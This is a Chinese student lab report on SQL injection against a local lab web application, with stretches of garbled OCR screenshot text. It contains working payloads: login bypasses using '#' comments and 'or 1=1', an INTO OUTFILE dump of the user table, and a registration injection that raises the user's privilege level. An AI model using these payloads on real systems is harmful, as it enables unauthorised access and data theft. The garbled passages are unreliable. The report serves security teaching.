sql注入实验报告_第1页
sql注入实验报告_第2页
sql注入实验报告_第3页
sql注入实验报告_第4页
sql注入实验报告_第5页
已阅读5页,还剩5页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

实验报告课程名称:SQL注入专业二班级二姓名二学指导教师二2016年3月8日一、实验目的1、掌握SQL注入的基本概念。2、掌握SQL注入的总体思路。3、掌握通过脚本访问网站数据库的基本方法。二、实验原理1、SQL注入SQL是结构化查询语言的简称,它是访问数据库的事实标准。SQL注入能使攻击者绕过认证机制,完全控制远程服务器上的数据库。目前,大多数Web应用都使用SQL数据库来存放应用程序的数据。儿乎所有的Web应用在后台都使用某种SQL数据库。跟大多数语言一样,SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话,用户数据就有可能被解释成命令,这样的话,远程用户就不仅能向Web应用输入数据,而且还可以在数据库上执行任意命令了。2、SQL注入攻击的一般顺序是:(发现SQL注入位置,判断后台数据库类型,确定XP_CMDSHELL可执行情况,发现WEB虚拟目录,上传ASP木马,得到管理员权限。3、SQL注入攻击的防范方法:SQL注入攻击防范方法目前己经有很多,总结起来有下面一些:(1)在服务端正式处理之前对提交数据的合法性进行检查;(2)封装客户端提交信息;(3)替换或删除敏感字符/字符串;(4)屏蔽出错信息。(5)不要用字串连接建立SQL查询,而使用SQL变量,因为变量不是可以执行的脚本;(6)目录最小化权限设置,给静态网页目录和动态网页目录分别设置不同权限,尽量不给写目录权限;(7)修改或者去掉Web服务器上默认的一些危险命令,例如ftp、cmd、wscript等,需要时再复制到相应目录;(8)数据敏感信息非常规加密,通过在程序中对口令等敏感信息加密都是采用md5函数进行加密,即密文=md5(明文),本文推荐在原来的加密的基础上增加一些非常规的方式,即在md5加密的基础上附带一些值,如密文=md5(md5(明文)+123456);

实验步骤1、查看Web程序的数据库打开浏览器输入:"http:本地ip/phpmyadmui/n反)14-中JMonMar14.6:31AM(7)ApplicationsPlacesSystem幼任)ol<byjServer:localhost独Ddtobe%。,^!SQL角Vorioble,回Charsets弱Engine,OP'MIeqe%反)14-中JMonMar14.6:31AMol<byjServer:localhost独Ddtobe%。,^!SQL角Vorioble,回Charsets弱Engine,OP'MIeqe%彘Proces%。%|#Export隙Importbo.blog1171cdcola)information^chema(28)myiql(23)phpmyadmin⑻test(31z^bloQ19)ActionsMySQLPleaseselectadatabaseMySQLlocalhostServer.LocalhostviaUNIXsocket心CreatenewdaUbase©|||Collation匮)^SOLconnection<olla^on|utfa_generalci:]^Create|B3Serverversion-51.30Protocolversion:10Userroott^localhostMySQLcharsetUTF-6Unicodelutfa)InterfaceWebserver歹Languag©:English夕ThemeiStyle:OriginalCustomcolor:ResetjFontge82%iApache/22.11(Unix)DAV/2modsslf?2.11Op^nSSLTO.98iPHP/5.28modapreqJ-2005123126.0mod_perV2.0.4Per修.10.0M/SQLclientversion-5130PHPextension-m/sqlphpMyAdminVersioninformation-311口OocumenUtonOMid公OfficidHornepaoe[ChangeLog](Subversion!(Li3ts|图1phpMyAdmin登录登陆成功后选择左边菜单栏-tesf>-registef>-user-这里可以看到不同权限级别的用户以及其密码,等会通过后面的SQL注入来获取密码或者提权。Hie£ditviewgoBookmarksjabsHelpBackyihtrp:〃192.166.10.】14/phpnyadmlry1ndex.php?db=2st&Token=d03d56896abeb432bfe67i315|乙凸囤Server:localhost,碎Database:test>gTable:fileDatabase131test(3)SfileBackyDatabase131test(3)SfilerentierQs・rDShowingrows0-9Idtotal.Ouerytook00003xc)saen•wfileL1HITQ,3b1Profilng(Edit)(ExplainSOL](CreatePHPCode](fMr”h)^gBfowseShowT]m]CSstructuie痒SQL/SearchReinsertSExportgSlmport^gOperations[fft-niptyJgixopinfwnzontalrow<8)startingfromrecord井oDmodeandrepeatheadersafter1100|cells□Xfileid1□Xfileid1titlehon«yp6tauthorhonoypotnotcummaryhoneypotandhon«yndtaX2snortpapersnortnetsnortintrusiondetectionX3snortbasednetworkPpianothersnortpaper□1XAipubles+sncrtnonameintelligenceidsSortbykey:MnefOptionst_CheckAll/UncheckAllWbsefected/KIE|Show.)30irow(s)startingfromrecord9|mbonzontalmodeandrepeatheadersafter|1QO|cells-QueryresultcoperationsPrintview.Printview(mithfulltexts)庭ExportUCREATEVEW—目•/Rnnkmrtrkfthi«<»OInu^rv*mbonzontalEnterawebaddresstoopen,oraphrasetosearchfor

fileEditviewgoBookmarkslabstielpBackyDatabase|t“i13)J—http;〃19乙16310.1LphpmyadmlrylndexQhD?db=test&token=d05d56896abeb4BackyDatabase|t“i13)gjServer:localhost>QiDatabase:test»HT^ble:register[^Browse|gSt%ture^SQL〃Semh务HnsertgjExnortggimport绥OoerMloM廿Frnpty裹DropShowingrows0•6(7total.Querytook0.0001seeltest(3)目网…Profiling(Edit)(ExplainSQL||CreatePHPCode|[RefreshJ[Show:)test(3)目网…Profiling(Edit)(ExplainSQL||CreatePHPCode|[RefreshJ[Show:)(30jrow(5»staronqfromrecord#[o]modeandrepeatheadersjfter100cells•nhorcrontol_dSectbykey|>loned4Optionshoraontflluseridusernanwpasswordhomepageuserlevel斜c/X39testOO2testOO2ptestOOl.bloo《om1/X38testOOltestOOlptestOOl.bloocom3斜c/X373/X333斜c/X343/X35llxldOllxldOUxjaobbgcom3Q4/X36HxIdOllxldOlixjaobbgcom11_CheckAlllUncheckAll八WseatedJ>X!SShow:](30]row(s)startingfromrecord#|ojo|modeandrepeatheadersafter100cells_jEnterawebaddresstoopen,oraphrasetosearchforj;〜吐tp:〃.14/phpmyadEin/irKkx.php?db=te5t&tokTn=d03d56896gb432bfT671313||二仝少由1D0Databasetest(3>te»t131QnuQ少由1D0Databasetest(3>te»t131QnuQ5*顷3u心JJ)Serverlocalhost>辱Database:test>fcjTable:user涅Bronse酒Structure姿SQL/Szrchfilnxrt循Export^jlmport笼Opwtion%膏Lnipty/Drop寸Showingrows0-112total.QuerytookC.OOOlsec)SHKT■fttHu^rLtKTt,»□Profilno[Edt11ExplainSOL](CreatePHPCode]|Refresh]'Show.(30|rowls)startingfromrecordttEZJ•nhcrcnxitfllmodeandrepeatheaders诚ercelfe□/户X1bluedcnmyoassEll>X2angelyourpassSonbykey|None+Optionsutavlducarn^ma□/户X1bluedcnmyoassEll>X2angelyourpassSonbykey|None+Optionsutavlducarn^map^ccwordt_CheckAll/UncheckAllWithseated-/*inhcrlz«xitd[cells「Queryresultsopevations'.Printview*PrintviewiwlthfulltextsI膀Export口CRCAITVIEW-西UookmdrkthisSQLqueryUbel|□Let«v«ryuseraccesstHsbookmarkEnterawebaddressioopen,oraphrasecosearchfor2、客户端远程访问Ubuntu的Web程序在本地PC浏览器上访问“http://(Linux虚拟机IP)/SQL_Iiijection/5>€<WebApp^>"access.php”

ndoxof'SQiinjectionfileEditviewGoBookmarksTabsHelp⑥Backvvi[£)http:7/l14/SQLJnjectiorVIndexof/SQLJnjectionHamaLastmodifiGdSizeDoscnptLonQsiffiQQParentcarwetorY»¥•AIllIHamaLastmodifiGdSizeDoscnptLonQsiffiQQParentcarwetorY»¥•AIllI^^il^GDAAAHUPlJ.£29-OCt-2013D0:31744SQLj:nJQcnon.txt29-Oct-201300:31L.5KWebApp/18-Mov-2O1304:20•datW29-D2t-2O1300:31•Apachef2.2.11(Unix)DAV/2mcd_ssi/2.2.ilOpenSSL/O.9.8^PHP/5.2.8mod_apreq2-20OS1231/2.6.0mcd_p^ri/2.04P&rl/«5.100Serverat1SfileEdit筋ewGoBookmarksTabsHelp@Backv'♦娼|G)http://192.168・10.:l只/SQL_lnjwctioMMebApp/Indexof/SQLJnjection/WebAppLastmodifiedSizeCescmpticnParentDirectoryLastmodifiedSizeCescmpticn.ph。C6-htov-2O1302:36733form.oh。29-Oct-201300:316231ist.nhn29-Oct-2013□□:31325raaistar.html29-Ozt-2013DO:311.0rogistM.phpgNOV-201302:04903waruh.html29-Ozt-2O1300:31S78smarch.php29-0zt-201300:311.1test・php29-Oct-2013□□:31325ApBChe/2.2.11\Umx)DAV/2modssi/2.2.22Op&nSSL/O.9.PHP/S.2.8mod_&preq2-200S1231/2.6.0med_p&rl/2.04Parf/VS10.0ServeratJ80WebApp目录图3、在打开的登录模块access.php此模块使用GET提交信息,可以通过URL发送参数登录使用数据表user中存在的用户名和密码Username=bluedonpassword=mypass是数据库存在的用户信息URL参数"?usemame=bluedon&passwoi・d=mypass”,将第这条url参数复制到链接之后,回车确定。0leEditylev/GoBookmarksjQbsHelp春Backv▼/|EJhttp://L14/SQL」njectjon/WebApp/access.php?usemamu=blued。n&password=扁U录成功SQLAiSJ:SELECT*FROMuserWHEREusername='bluedon1ANDpasswcrd='rnypass,SQLiS句URL注入:http7/localhost/access.php?usemame=bluedon&passw。rd=mypasshttp^/localhost/access.php?U5ername=bluedon'%23http^localhost/access.php?usemamG=■or1=1intooutfilo'Amp/sss.txt'%23正常登陆成功当没有密码时URL参数"?usemame=bluedoif%23”在没有发送密码的情况卜•登录成功。注意到本次操作的SQL语句:“SQL查询:SELECT*FROMuserWHEREusemame='bluedon#ANDpassword^'”“#”是MvSQL数据库的注释符。SQL语句匹配了用户名,mysql_num_tows函数返回值为1,符合登录模块的验证条件。FileEditViewGoBool<marks]>bsHelpg。Backv、3同http:/7L92.i58.:LO.i:i4ZSQL」njecUorwebApp/access.php?usemame=bluedon%23登录成功SQL查询:SELECT♦FROMuserWHEREusemame=,bluedon'#'ANDpassword="SQLig句URL注入:http:〃I。caIhost/access,php?usemame=bluedon&pass\vord=mypasshttpJ/\qcaIhost/accessphp?usemame=bluedon%23http://locaIhost/accessphp?usemame='or1=1intooutfileytmp/sss.txt*%23无密码登录成功无用户名无密码的登录使用“1=1”这条恒成立的语句,可■以在缺少更多信息的情况下,成功登录。uil参数:t<?useniame=z'or,1=1%23”RleEditviewGo旦ookmarksTabsHelp粉Back7,©|htrp://i92.168.1o.114/sQLinJection?/vebApp/access.php?usemame=z*%2oor,1=r%23翌彖成功SQL杏海:SELECT*fromuserWHEREU5em3me='Z,ori=1'#'ANDpaS5VJ0rd=,'SQLig句URL注入:http7/1ocalhost/access.php?username=bluedon&password=mypasshttp7/1ocalhost/access.php?username=bluedon%23httpJ/1ocalhost/access.php?username=,or1=1intooutfile'/trrp/s5S.txt'%23图:无用户名无密码登录成功在服务器生成用户信息文件导出文件到Web服务器的tmp目录。数据库中的user表被导出到Ubimni服务器的tem目录。现在远程登录Web服务器(Imux靶机),查看tmp目录下的文件。“Places'ATJesktop'ATileSystem”>“tmp”0Applications|SystemComputer区HomeFolderDesktop®Computer」』FloppyDrik/eroots0Applications|SystemComputer区HomeFolderDesktop®Computer」』FloppyDrik/erootsHomdTrash耍NetworkConnecttoServer...RecentDocuments图1SQL注入前,tmp目录下不存在“sss.txt”文件图:查看是否存在生成文件使用uil参数<<?iiseniame=,or1=1intooutfile7tmp/sss.txt>%23>,Notice:Undefinedindex:passwordin/opt/Iaupp/htdoce/sql_inject/access,phpcnline6斐录朱败SQL背询:SELECF*FROMuserWHEREusexnan)e=rzor1=]ir.tooutfile*/tno/sssss.txfANDpassword=/3Q1语句URL注入:http://localhost/access.plx>?usernaDe=bluelcnSpassword=nypass卜http://localhost/access.php2userna»e=Elueden*H23岫http://localhost/access.php*;tisemaj)e=*or1=1intooutfile*C:\\sss.Txt'%23使用一个不存主的用户名登陆http;//loQalhost/sql-,lnjcct/access.plip?usciri5£Dr-L*o/L-1*X23在Ubuntu月&务器生成立件ht-tp://192.168.138.l/s<il_inject/access.php?usrmame=,orL=1intooutfile'Anp/sssss.txt,%23图:登录失败SQL注入后,提示“登录失败”,但tmp目录下会生成“sss.txt”文件,用户信息被导出到tmp目录下的sss.txt(实际文件名与url实际输入相关)Backv,S回http7/192.16810114/SQLlnjectlongbApp/access.php?username=%2Oorl=日录失畋SQL查调:SELECT*FROMuserWHEREu$Grn3mQ=”or'l=1.intooutfileA^p/sss.txt1#"ANDpassword=uSQLiS句URL注入:http://locaIhost/acce55.php?username=bluedon&pa5sv/ord二mypasshttp://localhost/access.php?username=bluedonl%23http://localhost/acc@ss.php?usemame='or1=1intooutfile,/tmp/sss.txt,%23图:查看是否生成文件提升用户权限浏览“http://(Linux虚拟机IP)/SQL_Injection/7>打开模块*egister.html”>用户名:“testOOl”,密码:“testOOl”,个人主页:“”>"注册”注册到的用户级别为3注意:模块的SQL操作,最后的字段是数据表的权限用户注册注册项目注册信息用户名testOOl用户口令testOOl个人主页ptestOO|图:注册FileEditViewGoBookmarksTabsHelpW。Backv*-◎[回http:〃l92.168.10.il4/SQLlnjectiorVWebApp/register・phpSQL否询:INSERTINTOregisterVALUES(NULL,•testOOl','testOOl','ptestOO',2);注册成功注册时间:06:54,14thMarch注册级别:3图:注册成功下面通过SQL注入,注册一个级别为1的用户,回到用户注册界面,使用用户名:%st002”,密码:%stOO2”,个人主页:“\1);#”注册【注:");#第一个单引号为英文状态的单引号】本次注入也是利用了“世注释符!用户注册注册项目注册信息用户名test002用户口令test00

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论